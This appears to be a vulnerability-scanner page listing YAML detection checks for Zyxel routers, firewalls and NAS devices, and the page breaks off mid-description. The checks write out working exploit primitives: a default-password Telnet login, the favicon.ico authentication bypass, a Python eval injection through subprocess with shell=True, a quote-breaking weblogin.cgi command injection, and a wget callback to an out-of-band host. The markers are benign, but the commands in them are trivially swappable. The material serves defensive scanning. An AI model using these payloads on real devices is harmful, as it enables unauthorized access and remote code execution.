Zyxel — 7 vulnerability checks
noctis ships 7 vulnerability checks for Zyxel, covering 10 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZyXEL router Telnet console with default password 1234
| CVE | CVE-1999-0571 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | default-credentials — Default credentials |
| Services | telnet |
| Detection | set_var, tcp_open, sleep, tcp_send, script, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zyxel/CVE-1999-0571.yaml |
Connects to the Telnet port of a ZyXEL ZyNOS router (Prestige, P-660, P-2602 and similar), answers the bare "Password:" prompt with the factory default password "1234" and opens the read-only menu 24 (System Maintenance). The finding is confirmed when the System Management Terminal main menu or the menu 24 screen, with the ZyXEL copyright, comes back after the password (a ZyXEL CLI prompt without the menu gives a lower-confidence finding). Anyone who can reach the port then has full administrative control of the router: configuration, firewall and NAT rules, firmware and stored credentials. The feed only lists menus, then exits with ESC and 99.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{zy_password}}on the open socket - Sends
24on the open socket - Sends
…on the open socket - Sends
on the open socket - Sends
99on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
zy_outfor[Mm]enu [Ss]election [Nn]umber→ finding QoD 97: ZyXEL router Telnet console with default password 1234 (CVE-1999-0571) - Checks
zy_outfor[Zz]y[Xx][Ee][Ll]→ finding QoD 75: ZyXEL router Telnet console with default password 1234 (CVE-1999-0571)
References:
Feed source — tests/vulnerabilities/zyxel/CVE-1999-0571.yaml
# ZyXEL ZyNOS router (Prestige / P-660 / P-2602 …) — Telnet management
# console still protected by the factory default password "1234"
# (CVE-1999-0571: router management interface reachable by anyone).
#
# Ported from OpenVAS/Greenbone NVT pre2008/zyxel_pwd.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10714, GPL-2.0-only): require "Password:" in the
# Telnet greeting, send "1234" and require "ZyXEL" in the reply. Here the reply
# must be the System Management Terminal (SMT) main menu ("ZyXEL" copyright +
# "Enter Menu Selection Number:"), and the read-only menu 24 ("System
# Maintenance") is then opened — an authenticated screen that is never part of
# what we send.
#
# Deviations from the NASL (stronger detection, documented in the PR):
# * QoD 97 needs the post-login SMT main menu (and/or the menu 24 screen),
# not just the word "ZyXEL".
# * Only the replies after the password are inspected — a greeting or a
# password re-prompt that names ZyXEL never counts as a login.
# * The NASL-level fallback (QoD 75: "ZyXEL" after the password, e.g. a CLI
# "ras>" prompt instead of the SMT menu) also requires that the device did
# not ask for the password again, and matches "ZyXEL"/"Zyxel" alike.
# * Late greeting: a console whose "Password:" prompt arrives after the first
# 500 ms read is still tested (wait, then read again) instead of skipped.
#
# Read-only: menu 24 only lists the maintenance sub-menus; the feed then
# presses ESC and exits the SMT with 99. Nothing is changed on the router.
# One login attempt with the default password: category default-credentials
# and the `intrusive` tag so scans can exclude it.
uid: e7d204e5-fab2-42cc-81cf-52c78d00055e
name: "ZyXEL router Telnet console with default password 1234 (CVE-1999-0571)"
description: |
Connects to the Telnet port of a ZyXEL ZyNOS router (Prestige, P-660,
P-2602 and similar), answers the bare "Password:" prompt with the factory
default password "1234" and opens the read-only menu 24 (System
Maintenance). The finding is confirmed when the System Management Terminal
main menu or the menu 24 screen, with the ZyXEL copyright, comes back after
the password (a ZyXEL CLI prompt without the menu gives a lower-confidence
finding). Anyone who can reach the port then has full administrative control
of the router: configuration, firewall and NAT rules, firmware and stored
credentials. The feed only lists menus, then exits with ESC and 99.
cves: [CVE-1999-0571]
cvss: 10.0
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [zyxel, zynos, prestige, router, telnet, default-credentials, intrusive]
services: [telnet]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-1999-0571"
vars:
zy_password: "1234"
steps:
# ---------------------------------------------------------------- set-up
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-menu-ok
action: set_var
var_name: menu_ok
var_value: false
- id: init-zyxel-ok
action: set_var
var_name: zyxel_ok
var_value: false
- id: init-late
action: set_var
var_name: late
var_value: {response: ""}
# ------------------------------------------------------ greeting / gate
- id: open
action: tcp_open
handle: tn
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# No "Password:" in the first read (often only the Telnet negotiation):
# wait and read again (a zero-byte write only triggers the read).
- id: late-banner-wait
action: sleep
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(conn.banner, \"Password:\") == \"\")"
duration_ms: 3000
- id: late-banner
action: tcp_send
handle: tn
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(conn.banner, \"Password:\") == \"\")"
send: ""
timeout_secs: 10
store_as: late
- id: gate-check
action: script
condition: "conn.connected == true"
store_as: gate
code: |
let g = "";
if type_of(conn.banner) == "string" { g += conn.banner; }
if type_of(late.response) == "string" { g += late.response; }
strstr(g, "Password:") != ""
# ------------------------------------------------- default password
- id: send-password
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{zy_password}}\r\n"
timeout_secs: 10
store_as: r_pw
- id: wait-menu
action: sleep
condition: "gate == true"
duration_ms: 1500
# ---------------------------------- read-only menu 24 (System Maintenance)
- id: send-menu24
action: tcp_send
handle: tn
condition: "gate == true"
send: "24\r\n"
timeout_secs: 10
store_as: r_menu
- id: wait-output
action: sleep
condition: "gate == true"
duration_ms: 1500
# Zero-byte write: collect whatever the console printed after the last read.
- id: flush
action: tcp_send
handle: tn
condition: "gate == true"
send: ""
timeout_secs: 5
store_as: r_tail
# ESC back to the main menu, then 99 (Exit) in a separate write so the SMT
# does not read ESC + "9" as one VT100 key sequence.
- id: leave-menu
action: tcp_send
handle: tn
condition: "gate == true"
send: "\x1b"
timeout_secs: 2
- id: wait-leave
action: sleep
condition: "gate == true"
duration_ms: 300
- id: leave
action: tcp_send
handle: tn
condition: "gate == true"
send: "99\r\n"
timeout_secs: 2
- id: close
action: tcp_close
handle: tn
# Everything received after the password (the greeting is left out).
- id: collect
action: script
condition: "gate == true"
store_as: zy_out
code: |
let out = "";
for r in [r_pw, r_menu, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
# The SMT main menu or the menu 24 screen, with the ZyXEL copyright.
- id: check-menu
action: script
condition: "gate == true"
store_as: menu_ok
code: |
let t = tolower(zy_out);
strstr(t, "zyxel") != "" && strstr(t, "menu selection number") != "" &&
(strstr(t, "main menu") != "" || strstr(t, "system maintenance") != "")
# NASL level: "ZyXEL" after the password, and no new password prompt in
# any reply (a slow rejection can land in a later read).
- id: check-zyxel
action: script
condition: "gate == true"
store_as: zyxel_ok
code: |
let reprompt = false;
for r in [r_pw, r_menu, r_tail] {
if type_of(r.response) == "string" && ereg("password:\\s*$", tolower(r.response)) { reprompt = true; }
}
strstr(tolower(zy_out), "zyxel") != "" && !reprompt
# ---------------------------------------------------------------- findings
- id: finding-smt
action: match
source: zy_out
pattern: "[Mm]enu [Ss]election [Nn]umber"
condition: "menu_ok == true"
on_match:
finding:
title: "ZyXEL router Telnet console with default password 1234 (CVE-1999-0571)"
description: "The ZyXEL Telnet console accepted the factory default password '{{zy_password}}' and opened the System Management Terminal; the read-only menu 24 (System Maintenance) was displayed."
remediation: "Change the ZyXEL administrator password (SMT menu 23 / web configurator), restrict Telnet management to the LAN or trusted hosts (menu 24.11 Remote Management) or disable it, and upgrade unsupported Prestige firmware."
confidence_delta: 0.65
qod: 97
evidence: "Default password '{{zy_password}}' accepted; console output after login: {{zy_out}}"
stop: true
- id: finding-zyxel
action: match
source: zy_out
pattern: "[Zz]y[Xx][Ee][Ll]"
condition: "zyxel_ok == true && menu_ok == false"
on_match:
finding:
title: "ZyXEL router Telnet console with default password 1234 (CVE-1999-0571)"
description: "The ZyXEL Telnet console accepted the factory default password '{{zy_password}}' (ZyXEL output followed without a new password prompt). The SMT menu was not recognised."
remediation: "Change the ZyXEL administrator password (SMT menu 23 / web configurator), restrict Telnet management to the LAN or trusted hosts (menu 24.11 Remote Management) or disable it, and upgrade unsupported Prestige firmware."
confidence_delta: 0.50
qod: 75
evidence: "Default password '{{zy_password}}' accepted; console output after login: {{zy_out}}"Zyxel Firewall Unauthenticated ZTP Handler Command Injection
| CVE | CVE-2022-30525 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/zyxel/CVE-2022-30525.yaml |
Detects the unauthenticated /ztp/cgi-bin/handler endpoint on Zyxel firewalls that enables OS command injection (CVE-2022-30525). A benign, well-formed setWanPortSt command is submitted without credentials; a vulnerable device processes it through the ZTP CGI handler and returns the handler's JSON response, whereas a patched device rejects the request (403/404/login). No command is executed and no device configuration is applied.
How noctis detects it
- HTTP(S) request
POST /ztp/cgi-bin/handlerwith a crafted body - Checks
resp.bodyfor"module"\s*:\s*"ztp"→ finding QoD 75: Unauthenticated ZTP handler processed setWanPortSt (HTTP …): …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30525.yaml
Feed source — tests/vulnerabilities/zyxel/CVE-2022-30525.yaml
# Zyxel Firewall — unauthenticated OS command injection (CVE-2022-30525)
#
# The ZTP (Zero-Touch Provisioning) CGI handler at /ztp/cgi-bin/handler is
# reachable WITHOUT authentication on affected Zyxel firewalls (USG FLEX,
# ATP, VPN, USG20(W)-VPN series). It accepts a JSON "command" and, for
# setWanPortSt, passes the mtu field into a shell command — yielding
# unauthenticated OS command injection. CISA KEV, actively exploited.
#
# DETECTION (non-exploit, reachability + processing differential):
# We send a WELL-FORMED, BENIGN setWanPortSt request (mtu "1500", no shell
# metacharacters, nothing is executed and no injection is attempted) and
# observe whether the UNAUTHENTICATED endpoint actually processes it — i.e.
# the ZTP CGI handler answers with its own JSON handler response, rather
# than an authentication gate / 403 / 404. A patched device restricts the
# path (403/404/login), so the request never reaches the handler.
# This keys on a genuine consequence reproducible on a real target (the
# handler being reachable and processing the command pre-auth), NOT on any
# fabricated marker, and performs no command execution.
#
# Affected: ZLD V5.00 through V5.21 Patch 1 (patched in ZLD V5.30).
uid: f4064bb5-6afb-4d46-aea7-634b59fb9a11
name: "Zyxel Firewall Unauthenticated ZTP Handler Command Injection (CVE-2022-30525)"
description: |
Detects the unauthenticated /ztp/cgi-bin/handler endpoint on Zyxel firewalls
that enables OS command injection (CVE-2022-30525). A benign, well-formed
setWanPortSt command is submitted without credentials; a vulnerable device
processes it through the ZTP CGI handler and returns the handler's JSON
response, whereas a patched device rejects the request (403/404/login).
No command is executed and no device configuration is applied.
cves: [CVE-2022-30525]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [zyxel, firewall, ztp, command-injection, unauthenticated, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-30525"
- "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-os-command-injection-vulnerability-of-firewalls"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30525.yaml"
steps:
# Initialise the gating var so the condition below never throws on an
# undefined variable (see CLAUDE.md pitfall).
- id: init
action: set_var
var_name: ztp_reachable
var_value: false
# Unauthenticated, benign, well-formed setWanPortSt probe. No shell
# metacharacters in any field — nothing is executed. We only observe whether
# the handler processes the command without authentication.
- id: probe
action: http_request
method: POST
path: "/ztp/cgi-bin/handler"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/json"
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"1500","data":"hi"}'
store_as: resp
# Vulnerable: the ZTP CGI handler processed the command pre-auth and replied
# with its own JSON handler output. Patched devices never reach the handler
# (403/404/login) so this pattern + 200 status does not match.
- id: detect
action: match
source: resp.body
pattern: "\"module\"\\s*:\\s*\"ztp\""
condition: "resp.status == 200"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Unauthenticated ZTP handler processed setWanPortSt (HTTP {{resp.status}}): {{resp.body}}"
set_vars:
ztp_reachable: trueZyxel NAS /cmd,/ck6fup6/ favicon.ico Authentication Bypass
| CVE | CVE-2023-4473, CVE-2023-4474 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/zyxel/zyxel-nas-favicon-auth-bypass.yaml |
Tests Zyxel NAS326 / NAS540 / NAS542 for the pre-authentication bypass of the `/cmd,/ck6fup6/` command handlers: the authentication filter exempts URLs ending in `favicon.ico`, so appending `/favicon.ico` to a handler URL reaches it without a session. Chained with the command injection in the same `configure_mail_syslog` handler this gives unauthenticated RCE (CVE-2023-4473). The feed first confirms that the plain handler URL redirects an anonymous caller (302), then that the same handler with the `/favicon.ico` suffix answers 200 `{"errorMsg":"OK"}`. No configuration parameter is sent, but the handler is a configuration setter: intrusive.
How noctis detects it
- HTTP(S) request
GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog - HTTP(S) request
GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog/favicon.ico - Checks
byp.bodyfor\{\s*"errorMsg"\s*:\s*"OK"\s*\}→ finding QoD 75: Zyxel NAS auth bypass: GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog returned … (login enforced) but the same handler with /favicon.ic…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-4473
- https://nvd.nist.gov/vuln/detail/CVE-2023-4474
- https://nvd.nist.gov/vuln/detail/CVE-2023-27992
- https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-authentication-bypass-and-command-injection-vulnerabilities-in-nas-products
- https://www.ibm.com/think/x-force/ibm-identifies-zero-day-vulnerability-zyxel-nas-devices
- https://isc.sans.edu/diary/30884
Feed source — tests/vulnerabilities/zyxel/zyxel-nas-favicon-auth-bypass.yaml
# Zyxel NAS326 / NAS540 / NAS542 pre-auth `/cmd,/ck6fup6/` authentication bypass
# — CVE-2023-4473 / CVE-2023-4474 (Nov 2023 advisory)
#
# The NAS web server routes `/cmd,/ck6fup6/<module>/<function>` requests to the
# privileged command handlers. Unauthenticated callers are normally redirected
# (302) to the login page, but the authentication filter exempts any URL that
# ends in `favicon.ico`. Appending `/favicon.ico` to a handler URL therefore
# reaches the handler without a session (IBM X-Force, Nov 2023: "The
# authentication bypass still works as well" on V5.21(AAZF.14)C0, the release
# that fixed the earlier pre-auth command injection CVE-2023-27992). Chained with
# the command injection in the same `zylog_main/configure_mail_syslog` handler it
# gives unauthenticated RCE (CVE-2023-4473, CVSS 9.8); the Nov 2023 firmware
# fixes the bypass together with CVE-2023-4474 (WSGI) and CVE-2023-35137/35138,
# CVE-2023-37927/37928, which the OpenVAS NVT reports for the same check.
# CVE-2023-4474 (WSGI server) is not exercised directly: it is listed because
# firmware that still answers step 2 predates the Nov 2023 fix for both.
#
# Detection (port of OpenVAS `2025/zyxel/gb_nas_mult_vuln_nov23_active.nasl`,
# OID 1.3.6.1.4.1.25623.1.0.155118, GPL-2.0-only — same URLs and patterns):
# 1. GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog → 302 (auth enforced)
# 2. GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog/favicon.ico → 200 {"errorMsg":"OK"}
# Step 1 is the control: the exact same handler refuses an unauthenticated
# caller. Step 2 proves the auth filter was bypassed — the protected handler ran
# and answered for a caller without a session. That is the real exploitation of
# the auth-bypass primitive. No attacker-controlled parameter is sent; the call is
# the exact one the OpenVAS NVT makes. The handler is a configuration setter, so
# the feed is tagged `intrusive`.
#
# Why no command-injection proof (deliberate, per the "benign proof" rule):
# the injection lives in the mail/syslog *schedule configuration* parameters
# (schedulePeriod / scheduleHour / scheduleMinute). Any request carrying them
# rewrites the device's syslog mail schedule — a persistent configuration change
# on the target — whatever the confirmation channel (time delay or OOB callback).
# So the feed stops at the bypass (QoD 75) and never sends configuration parameters.
#
# The issue was filed under CVE-2023-27992 (first CVE of the NVT). The primitive
# exercised here is CVE-2023-4473's bypass; CVE-2023-27992 (fixed in
# V5.21(AAZF.14)C0) is not tested, since firmware that still answers step 2 can
# already be past that fix.
uid: 4a757c5f-0e70-4db5-b375-23a35c902558
name: "Zyxel NAS /cmd,/ck6fup6/ favicon.ico Authentication Bypass (CVE-2023-4473, CVE-2023-4474)"
description: |
Tests Zyxel NAS326 / NAS540 / NAS542 for the pre-authentication bypass of the
`/cmd,/ck6fup6/` command handlers: the authentication filter exempts URLs ending in
`favicon.ico`, so appending `/favicon.ico` to a handler URL reaches it without a
session. Chained with the command injection in the same `configure_mail_syslog`
handler this gives unauthenticated RCE (CVE-2023-4473). The feed first confirms that
the plain handler URL redirects an anonymous caller (302), then that the same handler
with the `/favicon.ico` suffix answers 200 `{"errorMsg":"OK"}`. No configuration
parameter is sent, but the handler is a configuration setter: intrusive.
cves: [CVE-2023-4473, CVE-2023-4474]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [zyxel, nas, nas326, nas540, nas542, auth-bypass, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-4473"
- "https://nvd.nist.gov/vuln/detail/CVE-2023-4474"
- "https://nvd.nist.gov/vuln/detail/CVE-2023-27992"
- "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-authentication-bypass-and-command-injection-vulnerabilities-in-nas-products"
- "https://www.ibm.com/think/x-force/ibm-identifies-zero-day-vulnerability-zyxel-nas-devices"
- "https://isc.sans.edu/diary/30884"
steps:
# 1 — control: the handler without the suffix must enforce authentication
# (302 to the login page). Anything else (200, 404, 403…) is not the
# Zyxel NAS handler we are looking for — the NASL exits there too.
- id: control
action: http_request
method: GET
path: "/cmd,/ck6fup6/zylog_main/configure_mail_syslog"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctrl
# 2 — the bypass: same handler, `/favicon.ico` appended. Only sent when the
# control showed authentication being enforced.
- id: bypass
action: http_request
method: GET
path: "/cmd,/ck6fup6/zylog_main/configure_mail_syslog/favicon.ico"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "ctrl.status == 302"
store_as: byp
# 3 — the handler answered an anonymous caller: auth filter bypassed.
- id: confirm
action: match
source: byp.body
pattern: "\\{\\s*\"errorMsg\"\\s*:\\s*\"OK\"\\s*\\}"
condition: "ctrl.status == 302 && byp.status == 200"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Zyxel NAS auth bypass: GET /cmd,/ck6fup6/zylog_main/configure_mail_syslog returned {{ctrl.status}} (login enforced) but the same handler with /favicon.ico appended returned {{byp.status}} without a session: {{byp.body}}"
stop: trueZyxel NAS setCookie Unauthenticated Code Injection
| CVE | CVE-2024-29973 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/zyxel/CVE-2024-29973.yaml |
Detects the unauthenticated Python code injection in the `c0` parameter of /cmd,/simZysh/register_main/setCookie on Zyxel NAS326 / NAS542 (CVE-2024-29973). Confirmation is keyed on a per-run command-substitution collapse: the injected eval runs `echo NOCTIS$()<token>` through a shell and the finding fires only when the reply carries the joined NOCTIS<token>. When OOB is configured, a blind wget callback covers builds that do not echo the eval result.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /cmd,/simZysh/register_main/setCookiewith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: Zyxel NAS setCookie code injection confirmed (HTTP …): the c0 eval ran echo NOCTIS$()<tok> through a shell and the reply carried the collap… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /cmd,/simZysh/register_main/setCookiewith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Zyxel NAS setCookie blind code injection confirmed: the c0 eval ran a shell that collapsed the $()-split OOB token and the injected wget fe…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024
Feed source — tests/vulnerabilities/zyxel/CVE-2024-29973.yaml
# Zyxel NAS326 / NAS542 — unauthenticated Python code injection in setCookie (CVE-2024-29973)
#
# Ported from OpenVAS/Greenbone NVT `2024/zyxel/gb_nas_mult_vuln_jun24_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.152360, GPL-2.0-only), "Zyxel NAS Multiple
# Vulnerabilities (Jun 2024)". Same request as the NASL and as the public
# Outpost24 PoC.
#
# The simZysh web framework on Zyxel NAS326 (<= V5.21(AAZF.16)C0) and NAS542
# (<= V5.21(ABAG.13)C0) hands the `c0` form field of the pre-auth endpoint
# /cmd,/simZysh/register_main/setCookie to a Python eval(). Closing the call
# with `None)` and chaining `and False or <expr>#` evaluates an arbitrary Python
# expression; `__import__("subprocess").check_output(<cmd>, shell=True)` turns
# it into OS command execution, and the command output comes back in the reply.
#
# Detection — two benign proofs, nothing written, read or persisted:
# 1. In-band command-substitution collapse (QoD 97). A `script` step mints a
# per-run token `tok = rand_hex(16)`. The NASL request is sent with its
# command (`executer_su /bin/id`) replaced by `echo NOCTIS$()<tok>`. Only a
# real shell (check_output with shell=True) collapses the empty `$()` and
# returns the joined marker NOCTIS<tok>; a device that reflects the form
# field keeps `$()` in place and does not match.
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire): same injection, the command is
# `wget -q -O /dev/null http://<oob>/<a>$()<b>` where <a><b> = oob_token,
# split by an empty $() so only a real shell rebuilds the callback path.
# Catches builds whose reply does not carry the eval result (the NASL
# misses those). Output goes to /dev/null, nothing is stored on the device.
#
# Deviations from the NASL (intentional, per the project's benign-proof rule):
# - no `executer_su` (the NASL runs `id` as root through the SUID helper of
# CVE-2024-29975): the echo runs as the web user, which is enough to prove
# the pre-auth code injection without escalating privileges;
# - `id` / `uid=0(root)` replaced by the per-run echo marker;
# - the NASL requires a prior Zyxel NAS fingerprint; this feed probes the
# endpoint directly on every http/https port (the proof is the identification).
#
# CVE scope: the advisory bundles CVE-2024-29972..29976. This request proves
# only CVE-2024-29973 (setCookie code injection), so only that CVE is claimed.
# CVE-2024-29972 (remote_help-cgi NsaRescueAngel backdoor) is not probed: its
# public check (`?type=sshd_tdc`) starts a debug SSH daemon on the device, which
# is a state change, not a benign proof.
uid: 169a5124-0373-41f4-a870-d31ca6396a06
name: "Zyxel NAS setCookie Unauthenticated Code Injection (CVE-2024-29973)"
description: |
Detects the unauthenticated Python code injection in the `c0` parameter of
/cmd,/simZysh/register_main/setCookie on Zyxel NAS326 / NAS542 (CVE-2024-29973).
Confirmation is keyed on a per-run command-substitution collapse: the injected
eval runs `echo NOCTIS$()<token>` through a shell and the finding fires only
when the reply carries the joined NOCTIS<token>. When OOB is configured, a
blind wget callback covers builds that do not echo the eval result.
cves: [CVE-2024-29973]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [zyxel, nas, nas326, nas542, code-injection, command-injection, rce, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-29973"
- "https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/"
- "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024"
steps:
# Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
- id: gen-token
action: script
code: |
rand_hex(16)
store_as: tok
- id: gen-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# NASL request, command swapped for `echo NOCTIS$()<tok>` (no executer_su).
- id: inject
action: http_request
method: POST
path: "/cmd,/simZysh/register_main/setCookie"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "multipart/form-data; boundary=NoctisFormBoundary{{tok}}"
body: "--NoctisFormBoundary{{tok}}\r\nContent-Disposition: form-data; name=\"c0\"\r\n\r\nstorage_ext_cgi CGIGetExtStoInfo None) and False or __import__(\"subprocess\").check_output(\"echo NOCTIS$(){{tok}}\", shell=True)#\r\n--NoctisFormBoundary{{tok}}--\r\n"
store_as: resp
# Confirm RCE: the joined per-run marker must appear in the reply. A raw
# reflection (NOCTIS$()<tok>) cannot produce it, and the multipart boundary
# (NoctisFormBoundary<tok>) never contains NOCTIS<tok>. If the request failed,
# `resp` is undefined and the condition is false.
- id: confirm
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "type_of(resp.body) == \"string\" && stridx(resp.body, marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Zyxel NAS setCookie code injection confirmed (HTTP {{resp.status}}): the c0 eval ran echo NOCTIS$()<tok> through a shell and the reply carried the collapsed per-run marker {{marker}}"
stop: true
# Blind fallback (reached only when the in-band proof did not fire).
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: POST
path: "/cmd,/simZysh/register_main/setCookie"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled"
headers:
Content-Type: "multipart/form-data; boundary=NoctisFormBoundary{{tok}}"
body: "--NoctisFormBoundary{{tok}}\r\nContent-Disposition: form-data; name=\"c0\"\r\n\r\nstorage_ext_cgi CGIGetExtStoInfo None) and False or __import__(\"subprocess\").check_output(\"wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}}\", shell=True)#\r\n--NoctisFormBoundary{{tok}}--\r\n"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Zyxel NAS setCookie blind code injection confirmed: the c0 eval ran a shell that collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: trueZyxel NAS weblogin.cgi Pre-Auth OS Command Injection
| CVE | CVE-2020-9054 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zyxel/CVE-2020-9054.yaml |
Tests Zyxel NAS / firewall devices (firmware <= 5.21) for the pre-auth OS command injection in /cgi-bin/weblogin.cgi. The unauthenticated `username` parameter reaches a shell command unsanitised. Detection injects an inert per-run echo whose fixed prefix and random token are separated by an empty command substitution — echo NOCTIS$()<token> — and confirms the vulnerability only when the response contains the collapsed, joined NOCTIS<token> for this exact run. A patched device (login form / 403) or a target that merely reflects the payload with $() intact does not fire. No real command is run and no file is read.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/weblogin.cgi?username=admin';echo%20NOCTIS$(){{tok}};'&password=x HTTP/1.0 - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: Zyxel weblogin.cgi command injection confirmed: injected echo NOCTIS$()<token> collapsed to the per-run marker in the response, proving pre…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-9054
- https://www.kb.cert.org/vuls/id/498544
- https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
Feed source — tests/vulnerabilities/zyxel/CVE-2020-9054.yaml
# Zyxel NAS weblogin.cgi pre-auth OS command injection — CVE-2020-9054
#
# Zyxel NAS devices (and some firewalls) running firmware <= 5.21 expose
# /cgi-bin/weblogin.cgi before authentication. The CGI passes the `username`
# query parameter into a shell command without sanitisation, so a single quote
# closes the quoted username and shell metacharacters that follow are executed
# as the device's web user. The public exploit injects
# username=admin';<command>;'
# to run an arbitrary command pre-auth (unauthenticated RCE, actively exploited
# by the Mukashi/Mirai botnet shortly after disclosure).
#
# DETECTION ONLY — this feed never runs a real command and never reads any file.
# It uses the command-substitution-collapse technique: a per-run random token is
# injected into an *inert* `echo` with an empty command substitution `$()` placed
# between a fixed prefix and the token:
# echo NOCTIS$()<token>
# A real shell evaluates the empty `$()` to the empty string and `echo` joins the
# two halves into the single string NOCTIS<token>. A target that merely reflects
# the raw request (or returns a constant marker) cannot produce that collapse for
# *this run's* token, so it does not match — which is what distinguishes genuine
# command execution from reflection or a canned response.
#
# The payload carries shell metacharacters (' ; $ ( )) in the URL query, so it is
# sent verbatim with tcp_connect in an HTTP/1.0 request line (reqwest would
# normalise/mangle it) and matched on resp.banner. The space after `echo` is
# percent-encoded (%20) so the request line stays well-formed; the CGI/mock
# url-decodes it before the shell sees it. QoD 97: the per-run collapse is proof
# of command execution, not of a version banner.
uid: d49e4bc5-85db-4983-a339-db4babc58157
name: "Zyxel NAS weblogin.cgi Pre-Auth OS Command Injection (CVE-2020-9054)"
description: |
Tests Zyxel NAS / firewall devices (firmware <= 5.21) for the pre-auth OS
command injection in /cgi-bin/weblogin.cgi. The unauthenticated `username`
parameter reaches a shell command unsanitised. Detection injects an inert
